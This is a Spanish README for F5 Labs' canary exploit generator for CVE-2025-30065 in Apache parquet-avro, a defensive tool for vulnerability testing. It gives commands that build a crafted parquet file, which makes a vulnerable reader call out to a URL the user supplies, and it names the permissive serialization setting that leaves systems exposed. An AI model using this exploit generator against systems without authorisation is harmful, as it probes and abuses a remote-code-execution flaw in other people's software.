
(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
El mínimo indispensable (omitir las instrucciones del README bajo su propio riesgo):
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
¿Personal de cumplimiento? ¿De seguridad de aplicaciones? ¿De gestión de vulnerabilidades? F5 Labs hizo esto para ustedes. Este CVE tiene una puntuación CVSS de 10, lo que normalmente significa que se necesitan plazos de respuesta muy ajustados. Hemos empaquetado la herramienta como un archivo jar que puede generar un archivo parquet. Puede suministrarlo a sus propios sistemas para determinar si son vulnerables, algo útil tanto antes como después del parche.
El crédito por el funcionamiento interno de este PoC corresponde a Mouad Kondah. Su análisis técnico fechado el 2025-04-07 analiza este CVE y sus PoCs.
El archivo parquet abusa del comportamiento en parquet-avro que permite pasar un String de Java no confiable a un constructor de clase Java arbitrario. Usted proporciona la URL de callback y, cuando su sistema lee el archivo parquet, un objeto javax.swing.JEditorPane intentará alcanzar esa URL. Esto es benigno.
¿Quiere un resumen rápido de la herramienta de exploit canario? Vea este YouTube Short de dos minutos para una demo en vivo: [video de demostración].
Tenga en cuenta que F5 Labs tiene conocimiento de dos escenarios de vulnerabilidad para el módulo parquet-avro:
String en tipos alternativos.org.apache.parquet.avro.SERIALIZABLE_PACKAGES se ha establecido a algo permisivo, p. ej. *.Puede usar esto con cualquier cosa a la que su sistema pueda realizar tráfico de salida (DNS y/o HTTP(S)). Si no tiene tráfico de salida de ninguno de esos tipos hacia Internet en general, entonces considere cualquier destino alcanzable dentro de su centro de datos del que pueda obtener registros de acceso DNS o HTTP. Tenga en cuenta que equivocarse aquí significará un falso negativo. Configuraciones altamente irregulares de org.apache.parquet.avro.SERIALIZABLE_PACKAGES podrían, posiblemente, también producir un falso negativo; consulte la subsección anterior.
Le recomendamos leer y comprender el código y compilarlo usted mismo. Para su comodidad, proporcionamos la compilación de distribución del código como un jar dentro de este repositorio.
Necesitará JDK 21 o posterior para compilar o ejecutar el generador (términos de búsqueda como "OpenJDK21 install" pueden ayudarle aquí). Si está familiarizado con la instalación del JDK, estos son accesos directos:
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdkPuede descargar el jar o clonar el repositorio.
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
Salida esperada:
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
Salida esperada:

Primero, determine qué quiere que sea YOUR_CALLBACK_URL. Debe poder detectar cuando su backend de procesamiento de parquet resuelve el nombre de dominio de la URL o solicita la URL al servidor web. Puede considerar usar canarytokens.org "Web bug" o "DNS" para esto. Consulte la sección Advertencias anterior para más detalles.
Ejecute este comando:
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Esto generará poc.parquet. Verifíquelo así:
file poc.parquet
Esto debería mostrar:
poc.parquet: Apache Parquet
Este archivo ahora puede introducirse en su sistema. Si su sistema es vulnerable, recibirá una callback. Consulte también la sección Advertencias.
Para su comodidad, esto también generará el archivo si aún no existe.
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
Consulte CanaryExploitGenerator.testParquetFile() para ver cómo se lee el archivo parquet. Así es como se verá el código en las profundidades de su sistema:
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
Esta herramienta está destinada únicamente a su uso en entornos de pruebas de seguridad autorizados. Conozca las leyes de las jurisdicciones aplicables. Consulte LICENSE.md para obtener detalles legales.